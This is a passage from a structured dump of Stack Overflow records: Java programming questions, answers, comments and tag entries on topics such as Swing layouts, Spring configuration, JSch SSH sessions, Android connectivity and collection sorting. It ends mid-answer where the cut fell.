has body: I'm trying to put SAP JCo3 libraries to my work server that has an OS "Win 2003 Server". The SAP JCo3 libraries worked fine on my localhost which has an OS "Windows 7". However when I performed the same procedure for installation on my work server and tried to use the libraries, I've been getting this error: java.lang.ExceptionInInitializerError: Error getting the version of the native layer: java.lang.UnsatisfiedLinkError:***********\sapjco3.dll: This application has failed to start because the application configuration is incorrect. Reinstalling the application may fix this problem Can anyone help me with this issue. Thanks in advance.
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/22232823
downvote count: 0
tagged with: java
possible better answer: http://stackoverflow.com/a/22228247
has answer: http://stackoverflow.com/a/22228247
type: Question
upvote count: 2
answer count: 2
favorite count: 0

http://stackoverflow.com/comment/33932537
type: AnswerComment
has text: @kai what exactly do you mean? Is there an error in my examples?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22328312

http://stackoverflow.com/q/22266080
type: Question
score: 0
has body: i have a jtable where i can put some records but now i want to insert jbutton in place of that records my code is given below import javax.swing.*; import javax.swing.table.*; import java.awt.*; public class ScrollableJTable { public static void main(String[] args) { new ScrollableJTable(); } public ScrollableJTable() { JFrame frame = new JFrame("Creating a Scrollable JTable!"); JPanel panel = new JPanel(); String data[][] = { { "001", "vinod", "Bihar", "India", "Biology", "65", "First" }, }; panel.setLayout(new BorderLayout()); String col[] = { "Roll", "Name", "State", "country", "Math", "Marks", "Grade" }; JTable table = new JTable(data, col); JTableHeader header = table.getTableHeader(); header.setBackground(Color.yellow); Toolkit tk = Toolkit.getDefaultToolkit(); int xSize = ((int) tk.getScreenSize().getWidth()); int ySize = ((int) tk.getScreenSize().getHeight()); JScrollPane pane = new JScrollPane(table); panel.add(pane); frame.add(pane); frame.setSize(xSize, ySize); table.setSize(xSize, ySize); frame.setUndecorated(true); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setVisible(true); } }
tagged with: swing
answer count: 1
tagged with: jbutton
tagged with: java
has comment: http://stackoverflow.com/comment/33821265
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22272005
tagged with: jtable
has title: How can i add Jbutton on Jtable cell?

http://stackoverflow.com/q/22246481
has body: Okay, so I'm trying to create my own LinkedList class (with generic typing) in Java but am running into problems. I have created a LinkedListNode class which basically sets and gets the next and right pointers and also the node's key. My LinkedList class code is posted below, if you compile and run you'll see it's not setting the list up as it should. At the moment, I am trying to insert node y after node x, but my printout looks like: Key: 5 - prev key: 6 - next key: 6 Key: 6 - prev key: null - next key: null My code: public class LinkedList&lt;T&gt; { private LinkedListNode&lt;T&gt; m_head = null; private LinkedListNode&lt;T&gt; m_tail = null; public LinkedList() { m_head = new LinkedListNode&lt;T&gt;(); m_tail = new LinkedListNode&lt;T&gt;(); m_head.setNext(m_tail); m_tail.setPrev(m_head); } public LinkedListNode&lt;T&gt; getHead() { return m_head; } public LinkedListNode&lt;T&gt; getTail() { return m_tail; } public void insert(LinkedListNode&lt;T&gt; node, LinkedListNode&lt;T&gt; prev_node) { prev_node.getNext().setPrev(node); node.setPrev(prev_node); node.setNext(prev_node.getNext()); prev_node.setNext(node); } public void delete(LinkedListNode&lt;T&gt; node) { } @Override public String toString() { LinkedListNode&lt;T&gt; pointer = m_head.getNext(); String result = ""; while(pointer.getKey() != null) { T prev_key = pointer.getPrev() == null ? null : pointer.getPrev().getKey(); T next_key = pointer.getNext() == null ? null : pointer.getNext().getKey(); result += "\nKey: " + pointer.getKey() + " - prev key: " + prev_key + " - next key: " + next_key; pointer = pointer.getNext(); } return result; } public static void main(String[] args) { LinkedListNode&lt;Integer&gt; x = new LinkedListNode&lt;Integer&gt;(5); LinkedListNode&lt;Integer&gt; y = new LinkedListNode&lt;Integer&gt;(6); LinkedList&lt;Integer&gt; list = new LinkedList&lt;Integer&gt;(); list.insert(x, list.getHead()); list.insert(y, x); System.out.println(list.toString()); } } LinkedListNode.java: public c…
has comment: http://stackoverflow.com/comment/33793953
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33790920
has answer: http://stackoverflow.com/a/22246603
type: UnansweredQuestion
tagged with: linked-list
tagged with: java
type: Question
has title: Issue creating my own LinkedList class in Java
tagged with: data-structures

http://stackoverflow.com/comment/33697446
score: 1
comment on: http://stackoverflow.com/a/22197771
type: AnswerComment
has text: Nope. You can only call a constructor once; Java ensures this. Maybe use a debugger, such as the one built-in with eclipse (there is a manual, too)
type: Comment

http://stackoverflow.com/a/22324676
type: Answer
upvote count: 4
has body: What you need to do is set the layout to BoxLayout for the new JPanel in the wrapPanel method. JPanel panel = new JPanel(); BoxLayout layout = new BoxLayout(panel, BoxLayout.LINE_AXIS); panel.setLayout(layout); Bug: With your current code It doesn't seem to work because it'll stretch the text field. If you use a JButton in place of the JTextFeild you will see the effect. I'm still trying to figure out why the text field does that. UPDATE Along with the above code, to fix the problem of the text field stretching, as answered by Camickr in this answer BoxLayout is one of the few layout managers that respects the minimum and maximum sizes of a component. So if you want to prevent a panel from stretching you can use: panel.setMaximumSize( panel.getPreferredSize() ); The above code is what you want to put in the createPanel method. import java.awt.Color; import java.awt.Component; import java.awt.GridLayout; import javax.swing.BoxLayout; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.JPanel; import javax.swing.JTextField; import javax.swing.border.LineBorder; public class ValignJPanel { public static void main(String args[]) { JFrame frame = new JFrame("Vertical Alignment"); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); JPanel panel1 = wrapPanel(createPanel(), Component.TOP_ALIGNMENT); JPanel panel2 = wrapPanel(createPanel(), Component.CENTER_ALIGNMENT); JPanel panel3 = wrapPanel(createPanel(), Component.BOTTOM_ALIGNMENT); frame.setLayout(new GridLayout(1, 3)); frame.add(panel1); frame.add(panel2); frame.add(panel3); frame.setSize(400, 150); frame.setVisible(true); } private static JPanel wrapPanel(JPanel oldPanel, float alignment) { JPanel panel = new JPanel(); BoxLayout layout = new BoxLayout(panel, BoxLayout.LINE_AXIS); panel.setLayout(layout); oldPanel.setAlignmentY(alignment); panel.add(oldPanel); return panel; } private static JPanel createPanel() { JPanel panel = new JPanel(); panel.setLayout(new BoxLayout(panel, BoxLayout.Y_AXIS)…
downvote count: 0
has comment: http://stackoverflow.com/comment/33955534
score: 4
accepted answer of: http://stackoverflow.com/q/22324552
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22324552

http://stackoverflow.com/comment/33775182
comment on: http://stackoverflow.com/a/22240641
has text: Tried that, still goes infinitely....
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33704702
has text: Thanks. Can I use MapQuest API also, without maps?
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22201941

http://stackoverflow.com/q/22315817
type: Question
tagged with: apache
has comment: http://stackoverflow.com/comment/33995728
score: 0
answer count: 1
tagged with: applicationcontext
has answer: http://stackoverflow.com/a/28987717
type: UnansweredQuestion
tagged with: tomcat7
tagged with: spring
has title: Apache HTTP Client Spring Application Context XML for Version 4.3.1
tagged with: java
has body: I am trying to Spring inject org.apache.http.impl.conn.PoolingHttpClientConnectionManager and org.apache.http.config.SocketConfig. I am trying to set the default number of connections, max connections and soTimeout values. We are using apache version 4.1,1. While spring initialization, I get an error indicating soTimeout and tcpNoDelay are not writable properties. From all my Google searches, I see that these properties should be writable. Can someone help me understand HTTP Client Initialization on Apache 4.3.1 applicationContext.xml &lt;bean id="dispatcherHttpConnectionManager" class="org.apache.http.impl.conn.PoolingHttpClientConnectionManager"&gt; &lt;!-- property name="params" ref="dispatcherHttpConnectionParams" /--&gt; &lt;property name="maxTotal" value="1000" /&gt; &lt;property name="defaultMaxPerRoute" value="50" /&gt; &lt;property name="defaultSocketConfig" ref="apacheSocketConfig" /&gt; Error: Authentication/authorization failed with error org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'dispatcherHttpConnectionManager' defined in class path resource [dispatchClientApplicationContext.xml]: Cannot resolve reference to bean 'apacheSocketConfig' while setting bean property 'defaultSocketConfig'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'apacheSocketConfig' defined in class path resource [dispatchClientApplicationContext.xml]: Error setting property values; nested exception is org.springframework.beans.NotWritablePropertyException: Invalid property 'soTimeout' of bean class [org.apache.http.config.SocketConfig$Builder]: Bean property 'soTimeout' is not writable or has an invalid setter method. Does the parameter type of the setter match the return type of the getter?

line
tags question: http://stackoverflow.com/q/22280320
tags question: http://stackoverflow.com/q/22289752
tag name: line
type: Tag

http://stackoverflow.com/q/22252022
type: Question
tagged with: ssh
has body: I am trying to ssh an appliance through java code and I encountered with errors. I am using (http://www.jcraft.com/ )'s jar. Now here are my problems How can I execuate multiple commands in chell using java? (jcreft lib or someother) How can get output from following code (conversion of outputstream) OutputStream out = System.out; PrintStream ps = new PrintStream(out); Here is code's snap public static String LoginAppliance(String host, String ID )throws JSchException, InterruptedException, IOException { String result=""; String command = "_shell\n"; JSch jsch = new JSch(); Session session = jsch.getSession(user, host, 22); session.setPassword(password); session.setConfig("StrictHostKeyChecking", "no"); session.connect(10*1000); Channel channel = session.openChannel("shell"); InputStream is = new ByteArrayInputStream(command.getBytes()); channel.setInputStream(is); channel.setOutputStream(System.out); OutputStream out = System.out; PrintStream ps = new PrintStream(out); channel.connect(15 * 1000); Thread.sleep(3*1000); channel.disconnect(); session.disconnect(); return (result); } It will really helpful for me.
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/22392251
tagged with: java
has answer: http://stackoverflow.com/a/22253434
type: UnansweredQuestion
has title: ssh appliance through Java, execuate commands and get response from commands

http://stackoverflow.com/q/22184521
has comment: http://stackoverflow.com/comment/50845884
score: 0
has body: My assignment says that I must use private data fields. but I can not call them in my Main. What am I doing wrong? I get an error in my Main after I try to print the width. public class RoomDimension { //data fields private double length; //default constructor RoomDimension(){ length = 10.0; } //overloaded constructor RoomDimension(double l){ length = l; } //setters and getters public double getLength() { return length; } } public class Main { public static void main(String[] args) { RoomDimension kitchen = new RoomDimension(); System.out.println(kitchen.getLength()); } }
has comment: http://stackoverflow.com/comment/33674364
has comment: http://stackoverflow.com/comment/33677271
favorite count: 0
answer count: 0
upvote count: 2
type: UnansweredQuestion
downvote count: 2
has comment: http://stackoverflow.com/comment/33675968
has comment: http://stackoverflow.com/comment/33674024
has comment: http://stackoverflow.com/comment/33674646
has comment: http://stackoverflow.com/comment/33674029
tagged with: java
has comment: http://stackoverflow.com/comment/33674035
has title: How can I use private data fields for a class and still call them in my main?
type: Question
has comment: http://stackoverflow.com/comment/33677308

http://stackoverflow.com/q/22322108
has comment: http://stackoverflow.com/comment/33921148
tagged with: android
has answer: http://stackoverflow.com/a/22322287
upvote count: 2
has answer: http://stackoverflow.com/a/22322303
type: Question
has answer: http://stackoverflow.com/a/22322491
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22322287
tagged with: java
possible better answer: http://stackoverflow.com/a/22322491
answer count: 3
score: 2
has title: How to check if my app is using WIFI or 3G service
downvote count: 0
has body: I am working on a messaging app, is there anyways or any API to identify the service provider name in android , also can anyone help me out how to programmatically check if the application is using WIFI connection or 3G service ? Please help me.
linked to: http://stackoverflow.com/q/13007707
favorite count: 0

http://stackoverflow.com/q/22194094
tagged with: db2
has comment: http://stackoverflow.com/comment/33690925
has comment: http://stackoverflow.com/comment/33699272
answer count: 2
upvote count: 1
possible better answer: http://stackoverflow.com/a/22194129
tagged with: sql
tagged with: max
has answer: http://stackoverflow.com/a/22194129
tagged with: string
has body: I have a problem that i can´t solve :( I execute this sql statement to get the max of a the CCID-String: "select MAX(CCID) as test123 from " + tabelleName+ " where CCID like 'W%'"); After that I want to increase the string. I substring the W and convert the string to an int: String ccid = rs.getString("test123"); String test = ccid.substring(1,6); int id = Integer.parseInt(test); int newid = id+1; At the moment the max(ccid) looks like W01352. The result of newid is "1353" without the "W0". I want to get a string like W01353 that I could add to the db2-database for the next W-Number. Do someone have any idea? Sorry for my not so perfect english ;) Thank u.
linked to: http://stackoverflow.com/q/4051887
type: AnsweredQuestion
downvote count: 0
score: 1
tagged with: java
favorite count: 0
has answer: http://stackoverflow.com/a/22194232
accepted answer: http://stackoverflow.com/a/22194232
type: Question
has title: How to modify SQL-Statement?
has comment: http://stackoverflow.com/comment/33701899

http://stackoverflow.com/q/22244524
has body: We are working on website traffic monitoring and we are using Google Analytics API.We are stuck up with these dimensions and metrics. We are still not able to decode the combination of these two,as to how one dimension can be used with other metrics. I checked the stack overflow site, and went through the Google Analytics tools explorer1 http://ga-dev-tools.appspot.com/explorer/. We also went through https://developers.google.com/analytics/devguides/reporting/core/dimsmets#cats=visitor We know when we hover over any particular dimension/metric a checkbox appears. We need to check it and see the items which are grayed out[those are the non allowed with that particular dimension /metrics]. After all these exploration, we wrote down a query: return analytics.data().ga() .get(tableId,"2014-01-07","2014-03-01", "ga:visitors") .setDimensions("ga:visitorType,ga:visitCount,ga:city,ga:browser,ga:date") .setMetrics("ga:visitors,") .setMaxResults(25) .execute(); And we get the following output(Sample) : ga:visitorType ga:visitCount ga:browser ga:city ga:date ga:visitors New Visitor 1 Chrome (not set) 01-23-2014 1 New Visitor 1 Chrome Bangalore 01-23-2014 1 Can anyone explain, below doubts: What the visitCount and visitors specify here? How combination of dimensions and metrics work. Basically what I mean is how the combination of dimension and metric affects the output? Any guidance is appreciated!!
answer count: 1
has title: Internal working combination of Dimensions and Metrics in Google Analytics API
favorite count: 0
tagged with: google-analytics-api
type: AnsweredQuestion
score: 2
tagged with: dimensions
downvote count: 0
tagged with: java
tagged with: eclipse
type: Question
has answer: http://stackoverflow.com/a/22250474
accepted answer: http://stackoverflow.com/a/22250474
upvote count: 2
tagged with: metrics

http://stackoverflow.com/a/22316162
answers question: http://stackoverflow.com/q/22306864
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/33968749
has comment: http://stackoverflow.com/comment/33974014
has body: In spring mvc you can make a custom userDetail bean as session scoped bean and set your require values in it after successful login like firstname,lastname etc.Use that value wherever you want.

http://stackoverflow.com/comment/33860339
comment on: http://stackoverflow.com/a/22287338
score: 0
type: Comment
has text: oh okay duh, I forgot, in my first method `while(true)` is still constantly running even though `while(updatechecker >= 1)` doesn't trigger, which is causing the extra CPU usage. Okay, so there's no real difference, other than one will render the same thing a few times before update comes along and changes it. Make sense, thanks man :)
type: AnswerComment

http://stackoverflow.com/q/22206580
answer count: 2
has answer: http://stackoverflow.com/a/22210145
has answer: http://stackoverflow.com/a/32286476
tagged with: macos
type: UnansweredQuestion
has title: Mavericks and ADT keeps asking for Java 6
type: Question
tagged with: java
tagged with: adt
tagged with: eclipse
has body: My Mac is a fresh install of OS X. I also downloaded the latest ADT (Android Developer Tool) I downloaded Java 7u51 Developer Kit and installed it. I launched Terminal and typed java -version I get the following output java version "1.7.0_51" Java(TM) SE Runtime Environment (build 1.7.0_51-b13) Java HotSpot(TM) 64-Bit Server VM (build 24.51-b03, mixed mode) I know that Java is installed so I launched Eclipse.app but it was asking to install Java 6. Then I used Terminal to navigate to the path of the eclipse folder and typed open Eclipse.app Output LSOpenURLsWithRole() failed with error -10658 for the file /Applications/adt-bundle/eclipse/Eclipse.app. Then when I did this cd Eclipse.app/Contents/MacOS/ open eclipse It worked without any issues. However I would rather not use Terminal to launch Eclipse. Is there any workaround of fix to prevent me from installing Java 6?
score: 0

http://stackoverflow.com/comment/33682133
comment on: http://stackoverflow.com/q/22186654
has text: Your description indicates you may need to actually implement a generic [`Comparator`](http://docs.oracle.com/javase/7/docs/api/java/util/Comparator.html). [`Comparable`](http://docs.oracle.com/javase/7/docs/api/java/lang/Comparable.html) is an object that gets compared. Also you talk about generics but your code example is not generic so I don't understand what it has to do with the question.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/33700564
has text: GetDeclaredMethod needs a class[] for the parameters not a single class
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22199577
type: AnswerComment

http://stackoverflow.com/comment/33673733
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/22181016
has text: The 32 bit is required by my companies mainframe emulator. I have tried both 32 and 64 bit versions of the SDK with the same results.
score: 0

http://stackoverflow.com/comment/33729563
has text: Also, possible duplicate: [link](http://stackoverflow.com/questions/3895607/turn-photoshop-design-into-java-gui?rq=1)
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22215361

http://stackoverflow.com/q/22256445
downvote count: 0
has comment: http://stackoverflow.com/comment/33803574
favorite count: 0
has comment: http://stackoverflow.com/comment/33803684
has answer: http://stackoverflow.com/a/22256715
has body: I am getting an unexpected output for this. Please have a look. I am not able to find the problem. What's wrong with my program? Can anybody explain? I am getting the output Joe Sue Mike Clare Juliet Joe Mike Clare Juliet objects in TreeSets and TreeMaps and with Collections.sort() for Lists, using the Comparable Interface. import java.util.ArrayList; import java.util.Collection; import java.util.Collections; import java.util.List; import java.util.SortedSet; import java.util.TreeSet; class Person implements Comparable&lt;Person&gt; { private String name; public Person(String name) { this.name = name; } public String toString() { return name; } @Override public int hashCode() { final int prime = 31; int result = 1; result = prime * result + ((name == null) ? 0 : name.hashCode()); return result; } @Override public boolean equals(Object obj) { if (this == obj) return true; if (obj == null) return false; if (getClass() != obj.getClass()) return false; final Person other = (Person) obj; if (name == null) { if (other.name != null) return false; } else if (!name.equals(other.name)) return false; return true; } @Override public int compareTo(Person person) { int len1 = name.length(); int len2 = person.name.length(); if(len1 &gt; len2) { return 1; } else if(len1 &lt; len2) { return -1; } else { return 0; } } } public class App { public static void main(String[] args) { List&lt;Person&gt; list = new ArrayList&lt;Person&gt;(); SortedSet&lt;Person&gt; set = new TreeSet&lt;Person&gt;(); //adding Element addElements(list); addElements(set); //sorting element Collections.sort(list); //displaying result showElements(list); System.out.println(); showElements(set); } //adding element methods private static void addElements(Collection&lt;Person&gt; col) { col.add(new Person("Joe")); col.add(new Person("Sue")); col.add(new Person("Juliet")); col.add(new Person("Clare")); col.add(new Person("Mike")); } private static void showElements(Collection&lt;Person&gt; col) { for(Person element:…
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/33803593
accepted answer: http://stackoverflow.com/a/22256570
upvote count: 3
tagged with: java
has comment: http://stackoverflow.com/comment/33803639
has comment: http://stackoverflow.com/comment/33803525
type: Question
has comment: http://stackoverflow.com/comment/33803582
has comment: http://stackoverflow.com/comment/33803610
has answer: http://stackoverflow.com/a/22256605
linked to: http://stackoverflow.com/q/21659695
has title: using Natural order with treeset in java
has comment: http://stackoverflow.com/comment/33803650
answer count: 3
possible better answer: http://stackoverflow.com/a/22256605
has answer: http://stackoverflow.com/a/22256570

http://stackoverflow.com/a/22284122
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/22282620
has body: Try @ModelAttribute("command") instead of @ModelAttribute("member") in your controller class.
accepted answer of: http://stackoverflow.com/q/22282620
upvote count: 1
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/q/22316957
downvote count: 0
has answer: http://stackoverflow.com/a/22317053
favorite count: 0
tagged with: android
tagged with: android-actionbar
tagged with: android-activity
type: UnansweredQuestion
score: 1
tagged with: java
upvote count: 1
has body: How do I add buttons, switches, seekbars etc. to an android app drawer? I know how to add text to the listview but I'm finding the above very difficult. I have my current app drawer below. What changes would you suggest to accomplish the above. Code: MainActivity public class MainActivity extends Activity { // Within which the entire activity is enclosed DrawerLayout mDrawerLayout; // ListView represents Navigation Drawer ListView mDrawerList; // ActionBarDrawerToggle indicates the presence of Navigation Drawer in the action bar ActionBarDrawerToggle mDrawerToggle; // Title of the action bar String mTitle=""; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); mTitle = (String) getTitle(); // Getting reference to the DrawerLayout mDrawerLayout = (DrawerLayout) findViewById(R.id.drawer_layout); mDrawerList = (ListView) findViewById(R.id.drawer_list); // Getting reference to the ActionBarDrawerToggle mDrawerToggle = new ActionBarDrawerToggle( this, mDrawerLayout, R.drawable.ic_drawer, R.string.drawer_open, R.string.drawer_close){ /** Called when drawer is closed */ public void onDrawerClosed(View view) { getActionBar().setTitle(mTitle); invalidateOptionsMenu(); } /** Called when a drawer is opened */ public void onDrawerOpened(View drawerView) { getActionBar().setTitle("Select a river"); invalidateOptionsMenu(); } }; // Setting DrawerToggle on DrawerLayout mDrawerLayout.setDrawerListener(mDrawerToggle); // Creating an ArrayAdapter to add items to the listview mDrawerList ArrayAdapter&lt;String&gt; adapter = new ArrayAdapter&lt;String&gt;( getBaseContext(), R.layout.drawer_list_item , getResources().getStringArray(R.array.rivers) ); // Setting the adapter on mDrawerList mDrawerList.setAdapter(adapter); // Enabling Home button getActionBar().setHomeButtonEnabled(true); // Enabling Up navigation getActionBar().setDisplayHomeAsUpEnabled(true); // Setting item click listener for the list…
type: Question
tagged with: eclipse
has title: How do I add buttons, switches etc. to an android app drawer?
answer count: 1

http://stackoverflow.com/a/22356324
type: Answer
has comment: http://stackoverflow.com/comment/33981764
has body: If you look in configure build path , you can add a class folder or add jars manually. You can use this plugin. It will dynamically use jars contained in a folder. http://benjchristensen.com/2011/05/26/dynamic-directory-of-jar-files-in-classpath-via-eclipse-plugin/
has comment: http://stackoverflow.com/comment/35666073
has comment: http://stackoverflow.com/comment/33985258
answers question: http://stackoverflow.com/q/22198899
score: 0

http://stackoverflow.com/a/22308612
has comment: http://stackoverflow.com/comment/33906962
has comment: http://stackoverflow.com/comment/33897871
accepted answer of: http://stackoverflow.com/q/22308529
type: Answer
has comment: http://stackoverflow.com/comment/33898084
answers question: http://stackoverflow.com/q/22308529
downvote count: 0
score: 1
has body: You should send back an HTTP Error. I would recommend status code 400: Bad Request or status code 431 (credit to Julian below for pointing this one out). You could use an integer in your loop to keep track and make sure you haven't run over your limit. To handle this, I would just stop reading data. You typically want to close all your streams together so I would throw an exception to break out of the loop and in the catch block send back the error code. Handle closing connections in the finally block.
has comment: http://stackoverflow.com/comment/33900319
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33900765
has comment: http://stackoverflow.com/comment/34055582
has comment: http://stackoverflow.com/comment/34058997
upvote count: 1
has comment: http://stackoverflow.com/comment/33898646

http://stackoverflow.com/comment/33902102
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22310783
has text: Thanks Explosion Pills, that's exactly what I was looking for yet I couldn't find that post.
score: 0

permissions
tag name: permissions
type: Tag
tags question: http://stackoverflow.com/q/22277887
tags question: http://stackoverflow.com/q/22299921
tags question: http://stackoverflow.com/q/22233480
tags question: http://stackoverflow.com/q/22216978
tags question: http://stackoverflow.com/q/22218339
tags question: http://stackoverflow.com/q/22215751

http://stackoverflow.com/comment/47681642
comment on: http://stackoverflow.com/a/22249043
type: Comment
score: 2
has text: Edited to use StandardBasicTypes.LONG instead of Hibernate.LONG, since the Hibernate "constant" was previously deprecated and now completely removed from the code. Another option would be to use LongType.INSTANCE.
type: AnswerComment

http://stackoverflow.com/a/22264100
downvote count: 0
has comment: http://stackoverflow.com/comment/33891676
upvote count: 6
has body: How to make a JDialog not always on top of parent As stated in this Q&amp;A: setModal issue with 2 Jdialogs within a Jframe: This behaviour depends on how native windowing system handles focused and active windows. Having said this if you call for instance toFront() it will attempt to place the window at the top of the stack BUT some platforms do not allow windows which own other windows to appear on top of its children. The same happens when you call toBack() method. See the javadocs for more details. For instance on Windows 7 parent dialog becomes focused but its children still showing (not focused) at the top. As mentioned above it's up to the windowing system decide how to handle this matter.
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22259765
has comment: http://stackoverflow.com/comment/33891411
accepted answer of: http://stackoverflow.com/q/22259765
type: Answer
score: 6

http://stackoverflow.com/q/22227022
has comment: http://stackoverflow.com/comment/33750245
has comment: http://stackoverflow.com/comment/33750502
accepted answer: http://stackoverflow.com/a/22231718
tagged with: java
type: AnsweredQuestion
tagged with: jsp
tagged with: web
has body: I need to save the logging messages into file when I click html link. I created dynamic web project and .jsp web file in eclipse. Also I'm using log4j for logging. For now I create log4j.properties file to save logging messages in file. Also I implemented Logger: private static final Logger logger = LoggerFactory.getLogger(Application.class); and the message: logger.info("start app"); But I need to save logging when I click some web page link or liked text from the created .jsp file. Something like this logging message: 2014-06-03 09:53:36,001 INFO root:01 - start app 2014-06-03 09:55:01,002 INFO root:02 - Selected: LINKED TEXT Please help or suggest. Thanks in advance
type: Question
has answer: http://stackoverflow.com/a/22231718
has comment: http://stackoverflow.com/comment/33749207
has comment: http://stackoverflow.com/comment/33750159
tagged with: log4j
has comment: http://stackoverflow.com/comment/33749617
has title: Save Logging messages when I click html link using log4j in java web application
has comment: http://stackoverflow.com/comment/33749981
score: 0
answer count: 1
tagged with: logging

http://stackoverflow.com/comment/33833201
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22272635
has text: Is your 'arraylist(gps)' an actual Java ArrayList? In the question you seem to have printed out the `toString()` but what is the underlying type.

http://stackoverflow.com/comment/33923341
type: QuestionComment
has text: Thanks HectorLector! That solved the problem
comment on: http://stackoverflow.com/q/22323103
score: 0
type: Comment

http://stackoverflow.com/a/22327180
answers question: http://stackoverflow.com/q/22248187
upvote count: 3
has body: There is API which allows to query memory snapshots. See JavaDoc of MemorySnapshot class http://www.yourkit.com/docs/java/api/com/yourkit/api/MemorySnapshot.html and "Set Description Language" http://www.yourkit.com/docs/java/help/language.jsp Also you can export snapshot data for further analyzes http://www.yourkit.com/docs/java/help/export.jsp
type: Answer
score: 3
downvote count: 0

http://stackoverflow.com/comment/33811571
has text: If that's the question then you're right
comment on: http://stackoverflow.com/q/22260699
type: Comment
type: QuestionComment
score: 4

http://stackoverflow.com/q/22177186
type: Question
has answer: http://stackoverflow.com/a/22177665
answer count: 1
score: 0
has title: java keyboard shortuct capture dialog
type: UnansweredQuestion
tagged with: swing
has body: I am writing a plugin for netbeans and I want enable the user to interactively configure the keyboard shortcuts. Just like JFileChooser, is there something like JKeyboardShortcutChooser which could somehow grab some unique identifier for the combination of keys in a form that I could directly use while implementing the keyPressed method of the java.awt.event.KeyListener? The GUI of JKeyboardShortcutChooser could be similar to the Tools | Options | Editor | Macros | SetShortcut interface of Netbeans (version 7.4).
tagged with: java

http://stackoverflow.com/comment/33808715
type: QuestionComment
type: Comment
has text: Add this at the very top of your script: import sys \n<-(a real one) print(sys.path) and then run from commandline and java.
comment on: http://stackoverflow.com/q/22259121
score: 0

http://stackoverflow.com/comment/36201137
type: Comment
score: 0
has text: Ah, so you think if the styles are changed after the resize is done, the handles might resize appropriately?
comment on: http://stackoverflow.com/a/23586696
type: AnswerComment

http://stackoverflow.com/comment/33922719
comment on: http://stackoverflow.com/a/22322860
score: 0
type: Comment
has text: 2 errors found: File: /home/luojiebin/introcs/hello/PercolationStats.java [line: 9] Error: cannot find symbol symbol: variable i location: class PercolationStats File: /home/luojiebin/introcs/hello/PercolationStats.java [line: 9] Error: incompatible types required: double found: double[]
type: AnswerComment

http://stackoverflow.com/q/22173806
has answer: http://stackoverflow.com/a/22174011
has comment: http://stackoverflow.com/comment/33654286
has title: Preventing ArrayIndexOutofBoundsException in Java
has comment: http://stackoverflow.com/comment/33654258
type: Question
has body: How to prevent ArrayIndexOutofBoundsException in below code, while transforming data storing header and value for each record to prepare insert query afterwards. BufferedReader reader = new BufferedReader(new FileReader("C:\\files\\test.dat")); HashMap&lt;String, ArrayList&lt;String&gt;&gt; map = new HashMap&lt;String, ArrayList&lt;String&gt;&gt;(); int lineNumber = 1; String[] columnName = null; ArrayList&lt;String[]&gt; value = null; // temp array String line; String[] arr; List&lt;String&gt; headers = null; while (reader.ready()) if (!(line = reader.readLine()).isEmpty()) { arr = line.split("[\\r\\n]+"); if (lineNumber == 1) { lineNumber++; continue; } if (lineNumber == 2) { headers= Arrays.asList(arr[0].split("\\|")); value=new ArrayList&lt;String[]&gt;(); } else value.add(arr[0].split("\\|"));// create values lineNumber++; } // transform data for (int i = 1; i &lt; headers.size(); i++) { ArrayList&lt;String&gt; ar = new ArrayList&lt;String&gt;(); for (int j = 0; j &lt; value.size(); j++) ar.add(value.get(j)[i]); // &lt;---- Getting error here map.put(headers.get(i), ar); } System.out.println(map); } test.dat has below data. At 4th record above code trying to retrieve after Emp sal but there is no data so the code fails. "X"|"Y"|"12345 0000" "Emp No"|"Emp sal"|"Emp Name" 1|23.4567|"jhon" 2|0.4567|"steve" 3|9.4567|"jhon" 4|123
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33654361
tagged with: java
tagged with: indexoutofboundsexception
type: UnansweredQuestion

http://stackoverflow.com/a/22278573
answers question: http://stackoverflow.com/q/22278454
has body: Instead of public static void count(char[] grade) { int numofa = 0, numofb = 0, numofc = 0, numofd = 0, numoff = 0; for (int i = 0; i &lt; grade.length; i++){ if (grade[i] == 'A'){ numofa++; }else if (grade[i] == 'B'){ numofb++; }else if (grade[i] == 'C'){ numofc++; }else if (grade[i] == 'D'){ numofd++; }else if (grade[i] == 'F'){ numoff++; } } } Use public static int[] count(char[] grade) { int[] numOfEach = new int[5]; //5: a, b, c, d, f int idxA = 0; int idxB = 1; int idxC = 2; int idxD = 3; int idxF = 4; for (int i = 0; i &lt; grade.length; i++){ if (grade[i] == 'A'){ numOfEach[idxA]++; }else if (grade[i] == 'B'){ numOfEach[idxB]++; }else if (grade[i] == 'C'){ numOfEach[idxC]++; }else if (grade[i] == 'D'){ numOfEach[idxD]++; }else if (grade[i] == 'F'){ numOfEach[idxF]++; } } return numOfEach; } You cannot hold the amount of each grade in a char array. Well...you could, but I do not understand the purpose of doing so: public static char[] count(char[] grade) { char[] numOfEachAsChars = new char[5]; //5: a, b, c, d, f int idxA = 0; int idxB = 1; int idxC = 2; int idxD = 3; int idxF = 4; for (int i = 0; i &lt; grade.length; i++){ if (grade[i] == 'A'){ numOfEachAsChars[idxA]++; }else if (grade[i] == 